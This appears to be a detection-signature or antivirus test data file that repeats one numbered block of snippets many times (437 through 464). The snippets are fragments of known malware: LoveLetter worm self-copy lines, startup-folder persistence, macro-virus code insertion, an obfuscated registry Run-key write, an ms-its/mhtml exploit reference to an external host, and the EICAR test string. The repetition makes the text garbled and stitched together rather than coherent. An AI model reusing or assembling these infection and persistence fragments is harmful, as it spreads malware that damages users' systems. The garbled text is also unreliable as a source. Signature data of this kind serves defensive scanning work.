 End Sub

437

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

438

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

439

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

440

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

441

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

442

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

443

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

444

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

445

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

446

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

447

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

448

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

449

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

450

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

451

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

452

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

453

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

454

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

455

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

456

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

457

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

458

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

459

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

460

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

461

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

462

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

463

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

464

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
